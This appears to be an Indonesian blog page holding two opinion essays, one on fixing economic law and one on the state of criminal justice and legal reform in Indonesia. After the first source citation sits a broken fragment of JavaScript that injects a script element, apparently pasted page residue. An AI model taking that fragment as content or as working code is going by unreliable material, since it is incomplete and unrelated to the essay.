Minggu, 31 Maret 2013

Bagaimana membenahi hukum ekonomi di Indonesia



Hukum ekonomi adalah suatu sistem yang sangat penting dalam pelaksanaan suatu perekonomian suatu negara. Dengan adanya hukum ekonomi tersebut, suatu perekonomian akan terdapat penjagaan-penjagaan yang dapat mengarahkan suatu perekonomian ke arah yang baik. Hal ini dikarenakan suatu hukum ekonomi apabila terdapat pelanggaran terhadap hukum tersebut, maka akan diberikan sanksi yang sesuai dengan hukum yang telah diberlakukan.
Perekonomian suatu negara dapat berjalan dengan baik salah satunya adalah dikarenakan hukum ekonomi yang baik pula.  Negara yang menjunjung tinggi penegakan hukum ekonomi dijalankan atas dasar hukum yang adil dan baik maka perekonomian Negara tersebut akan berjalan dengan lancar.
Begitu pula di Indonesia. Indonesia adalah suatu negara yang memiliki hukum ekonomi untuk mengatur perekonomiannya. Di Indonesia hukum ekonomi telah tersusun dengan rapih dan terstruktur. Kalau sudah seperti itu, saya rasa Negara Indonesia hanya tinggal melaksanakannya dan menjalankannya dengan baik tanpa harus ada penyimpangan-penyimpangan yang dapat merapuhkan Negara kita sendiri.
Akan tetapi apakah negara Indonesia sampai saat ini telah menjadi negara dengan perekonomian yang baik dalam arti telah menjalankan hukum ekonomi yang baik dan benar? atau malah masih ada terjadi penyimpangan-penyimpangan dalam pelaksanaan hukum ekonomi tersebut ? atau bahkan sering terjadi ?
Menurut saya perekonomian di Indonesia masih banyak sekali yang harus dibenahi. Hal itu dikarenakan masih banyaknya penyimpangan-penyimpangan yang dilakukan oleh pelaku-pelaku perekonomian yang menghambat perkembangan ekonomi di Indonesia.

Cara mengkontrol berinvestasi  dalam investor
Masuknya investor asing ke Indonesia . essensi utama system penerapan investasi sangat dititikberatkan pada fungsi pengendalian sebagai alat utama yang strategis. Selain itu, tahap perkembangan awal ini juga mengasumsikan bahwa kondisi masih  keadaan stabil, dalam arti, tinggkat komptetisi  masih dianggap belum begitu dominan dalam menentukan kegiatan bisnis.
Menurut saya untuk membangunkan gairah perekonomian di Indonesia bisa kita awali dengan cara mulai dari berpikir maju, ciptakan usaha atau bisnis yang hasilnya bisa sedikitnya memperbaiki perekonomian Indonesia. Dengan banyaknya pengusaha Indonesia yang sukses mendirikan perusahaan, otomatis disamping mengurangi pengangguran, mengurangi kemiskinan juga menambah penghasilan negara juga. Intinya kita mulai dari diri kita pribadi, memutar otak kita untuk mencari cara agar ekonomi indonesia dapat membaik. Karena hal ini juga lah yang memperngaruhi keadaan ekonomi negara.
          Selain itu dengan bekerja lebih giat dan berani menciptakan lapangan pekerjaan bukan mencari pekerjaan saja juga dapat membantu pembangunan perekonomian di Indonesia. Memperbaiki kinerja yang selama ini dirasakan masih menganut paham “mumpung”. Berani untuk mengatakan tidak, tidak untuk hal-hal yang berbau pemborosan.
          Menurut saya pendidikan moral dan keagamaan juga memiliki peran yang sangat penting dalam membentuk insane-insan yang dapat menegakan hukum perekonomian dengan utuh. Mungkin hal ini dikarenakan jika seseorang memiliki moral yang baik serta rohani keagamaan yang kuat maka ia akan kemungkinan kecil untuk melakukan penyimpangan dalam suatu hukum seperti melakukan tindak korupsi, KKN, serta penyimpangan lainnya.

PERAN DAN HUKUM PEMBANGUNAN
Pembangunan ekonomi akan lebih lancer bilamana mendapatkan dukungan hukum secara positif dalam arti terdapatnya tertib hukum , baik dalam proses pembuatannya maupun dalam hal pelaksanaannya, sehingga pasal-pasal dari hukum itu benar-benar dilaksanakan dengan konsekuen dan ini berarti :
-         Hitu harus diterapkan sobjektif, jujur serta adil terhadap semua orang tanpa ada kecualinya
-         Hokum itu harus dilindungi semua hak milikseseorang atau masyarakat artinya jangan  hak milik itu dirampas secara sewenang-wenang
-         Monopoli dan oligopoly harus diatur berdasarkan hokum secara tegas
-         Hak cipta dan hak paten dilindungi secara tegas
-         Pengetahuan dan kesadaran hokum masyarakat ditingkatkan dengan  jelas mengadakan penyuluhan hokum
Andai hukum di Indonesia lebih tegas, maka kita akan sangat yakin bahwa korupsi di Indonesia akan berkurang sekali. Karena semua pihak pasti akan takut memiliki niat untuk korupsi, dan setiap keluarga akan mengontrol anggotanya dengan ketat juga semua pihak akan takut dan tidak akan mungkin melindungi para koruptor.
          Selain dengan cara diatas, pembenahan hukum ekonomi di Indonesia juga harus diawali dari diri kita sendiri. Hal ini di karenakan untuk menjadi negara dengan ekonomi yang kuat kita harus mengawalinya dari diri kita sendiri karena tanpa kesadaran dari diri sendiri hukum tak akan pernah berjalan dengan seutuhnya.

PERAN PEMERINTAH
          Peran pemerintah untuk terlaksananya pembanguna ekonomi suatu Negara, peran pemerintah cukup  besar mis : dalam menjaga keamanan, proteksi, kestabilan moneter perencanaan ekonomi ( ekonomi planning ) dan lain sebagainnya.
Pada UDC peran pemerintah ini sangat menonjol khususnya dalam pembangunan social overhead  capital dan menjadi dinamisatordalam pembangunan ekonomi tiu pemerintah bahkan dapat dikatakan sebagai unsure penentuan tercapai tidaknya pembangunan ekonomi  suatu Negara. Sejak tahun 1863 diterimanya ekonomi planning hamper semua Negara didunia telah melaksanakannya untuk perubahan yang lebih baik.



Sumber :
Buku : Ekonomi pembangunan dan perekonomian Indonesia
http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;

wajah hukum di indonesia

      Saat ini tidak mudah untuk memaparkan kondisi hukum di Indonesia tanpa adanya keprihatinan yang mendalam mendengar ratapan masyarakat yang terluka oleh hukum, dan kemarahan masyarakat pada mereka yang memanfaatkan hukum untuk mencapai tujuan mereka tanpa menggunakan hati nurani. Dunia hukum di Indonesia tengah mendapat sorotan yang amat tajam dari seluruh lapisan masyarakat, baik dari dalam negri maupun luar negri. Dari sekian banyak bidang hukum, dapat dikatakan bahwa hukum pidana menempati peringkat pertama yang bukan saja mendapat sorotan tetapi juga celaan yang luar biasa dibandingkan dengan bidang hukum lainnya. Bidang hukum pidana merupakan bidang hukum yang paling mudah untuk dijadikan indikator apakah reformasi hukum yang dijalankan di Indonesia sudah berjalan dengan baik atau belum. Hukum pidana bukan hanya berbicara tentang putusan pengadilan atas penanganan perkara pidana, tetapi juga meliputi semua proses dan sistem peradilan pidana. Proses peradilan berawal dari penyelidikan yang dilakukan pihak kepolisian dan berpuncak pada penjatuhan pidana dan selanjutnya diakhiri dengan pelaksanaan hukuman itu sendiri oleh lembaga pemasyarakatan. Semua proses pidana itulah yang saat ini banyak mendapat sorotan dari masyarakat karena kinerjanya, atau perilaku aparatnya yang jauh dari kebaikan. Di awal tahun 2013 ini, kita dapat mengatakan semua institusi penegak hukum dalam proses pidana mendapat sorotan yang tajam.
Keprihatinan yang mendalam tentunya melihat reformasi hukum yang masih berjalan lambat dan belum memberikan rasa keadilan bagi masyarakat. Tidaklah berlebihan jika dikatakan bahwa pada dasarnya apa yang terjadi akhir-akhir ini merupakan ketiadaan keadilan yang dipersepsi masyarakat (the absence of justice). Ketiadaan keadilan ini merupakan akibat dari pengabaian hukum (diregardling the law), ketidakhormatan pada hukum (disrespecting the law), ketidakpercayaan pada hukum (distrusting the law) serta adanya penyalahgunaan hukum (misuse of the law). Sejumlah masalah yang layak dicatat berkenaan dengan bidang hukum antara lain:
1.     Sistem peradilan yang dipandang kurang independen dan imparsial
2.     Belum memadainya perangkat hukum yang mencerminkan keadilan social
3.     Inkonsistensi dalam penegakan hukum
4.     Masih adanya intervensi terhadap hukum
5.     Lemahnya perlindungan hukum terhadap masyarakat
6.     Rendahnya kontrol secara komprehensif terhadap penegakan hukum
7.     Belum meratanya tingkat keprofesionalan para penegak hukum
8.     Proses pembentukan hukum yang lebih merupakan power game yang mengacu pada kepentingan the powerfull daripada the needy.

     Selain lembaga-lembaga yang telah disebut di atas masih ada lembaga lain yang terkait dengan penegakan hukum di Indonesia yaitu Mahkamah Konstitusi (MK). Mahkamah Konstitusi merupakan lembaga Negara yang melakukan kekuasaan kehakiman yang merdeka untuk menyelenggarakan peradilan guna menegakkan hokum dan keadilan. Keberadaan MK yang didasarkan pada UU 24 tahun 2003 Tentang Mahkamah Konstitusi menjadi salah satu control atas peran DPR yag berperan sebagai lembaga legislative. Mekanisme control ini diwujudkan dengan kewenangannya untuk melakukan uji materil atas Undang-Undang yang dibuat oleh DPR. Seperti telah disebut di atas bahwa ada kalanya pembuatan Undang-Undang yang ada di Indonesia tidak dilakukan dalam rangka mewujudkan keadilan, sehingga perlu adanya suatu kontrol untuk menilai apakah Undang-Undang tersebut bertentangan dengan UUD 1945. Sampai hari ini kiranya MK telah menjalankan tugasnya dengan baik sebagai garda penjaga konstitusi. Sebagai penafsir konstitusi yang tertinggi, apapun yang diputuskan oleh MK memang harus diikuti, terlepas dari perdebatan yang ada di MK dalam menilai suatu perkara. Dalam tugas lain juga saya menilai MK dapat berperan dengan baik, ini karena tugas MK yang senantiasa terkait dengan penafsiran terhadap UUD 1945 dan selama ini senantiasa berpegang teguh pada pendiriannya tanpa terpengaruh oleh pihak lain. Hal yang perlu diperbaiki dalam kaitannya dengan MK adalah terkait dengan hukum acara MK. Yang belum jelas. Artinya perlu diabuatkan suatu UU yang mengatur tata cara berperkara di MK, mengingat selama ini pengaturannya masih menggunakan pedoman dari MK.

Konsep Reformasi Hukum
       Setelah melihat kondisi hukum yang terpuruk tersebut maka tidak ada kata lain selain terus mengedepankan reformasi hukum yang telah digagas oleh bangsa ini. Kegiatan reformasi Hukum perlu dilakukan dalam rangka mencapai supremasi hukum yang berkeadilan. Beberapa konsep yang perlu diwujudkan antara lain:
1.     Penggunaan hukum yang berkeadilan sebagai landasan pengambilan keputusan oleh aparatur negara.
2.     Adanya lembaga pengadilan yang independen, bebas dan tidak memihak.
3.     Aparatur penegak hukum yang professional
4.     Penegakan hukum yang berdasarkan prinsip keadilan
5.     Pemajuan dan perlindungan HAM
6.     Partisipasi public
7.     Mekanisme control yang efektif.
Pada dasarnya reformasi hukum harus menyentuh tiga komponen hukum yang disampaikan oleh Lawrence Friedman yang meliputi:
1.     Struktur Hukum, dalam pengertian bahwa struktur hukum merupakan pranata hukum yang menopang sistem hukum itu sendiri, yang terdiri atas bentuk hukum, lembaga-lembaga hukum, perangkat hukum, dan proses serta kinerja mereka.
2.     Substansi Hukum, dimana merupakan isi dari hukum itu sendiri, artinya isi hukum tersebut harus merupakan sesuatu yang bertujuan untukmenciptakan keadilan dan dapat diterapkan dalam masyarakat.
3.     Budaya Hukum, hal ini terkait dengan profesionalisme para penegak hukum dalam menjalankan tugasnya, dan tentunya kesadaran masyarakat dalam menaati hukum itu sendiri.
Kiranya dalam rangka melakukan reformasi hukum tersebut ada beberapa hal yang harus dilakukan antara lain:
1.     Penataan kembali struktur dan lembaga-lembaga hukum yang ada termasuk sumber daya manusianya yang berkualitas;
2.     Perumusan kembali hukum yang berkeadilan;
3.     Peningkatan penegakkan hukum dengan menyelesaikan kasus-kasus pelanggaran hukum;
4.     Pengikutsertaan rakyat dalam penegakkan hukum;
5.     Pendidikan publik untuk meningkatkan pemahaman masyarakat terhadap hukum; dan
6.     Penerapan konsep Good Governance.

     Selain pencegahan, pengejaran dan pengusutan kasus-kasus korupsi, pemerintah harus terus berusaha mengejar aset dan memulihkan kerugian negara. Disamping itu, pemerintah juga harus tetap melanjutkan upaya serupa untuk mengatasi aksi terorisme dan bahaya lainnya yang dapat memecahbelah keutuhan NKRI serta mencegah berkembangnya radikalisme dan juga meningkatkan pemberantasan segala kegiatan ilegal, mulai dari penebangan liar (illegal Logging), penangkapan ikan liar (illegal fishing) hingga penambangan liar (illegal mining), baik yang lokal maupun yang transnasional. Dari semua itu kiranya korupsi yang akan menjadi sebuah bahaya laten harus menjadi prioritas utama untuk diberantas. Melihat kenyataan, bahwa penegakan hukum di Indonesia tidak akan mengalami kemajuan yang begitu pesat, tetapi kemajuan itu akan tetap ada. Hal ini terlihat dari komitmen pemerintah untuk mewujudkan penegakkan hukum dengan didukung oleh aparat penegak hukum lainnya. Kasus mafia peradilan yang akhir-akhir ini banyak disorot masyarakat akan menjadikan penegak hukum lebih berhati-hati dalam menjalankan tugasnya. Meskipun saat ini kepercayaan masyarakat terhadap aparat penegak hukum masih sangat rendah. Keberanian lembaga-lembaga hukum bangsa ini akan menjadi titik cerah bagi penegakan hukum. Namun selain itu kesadaran masyarakat dalam menaati hukum akan menjadi hal yang mempengaruhi penegakkan hukum di Indonesia. Karena lemahnya penegakan hukum selama ini juga akibat masyarakat yang kurang menaati hukum.


Sumber :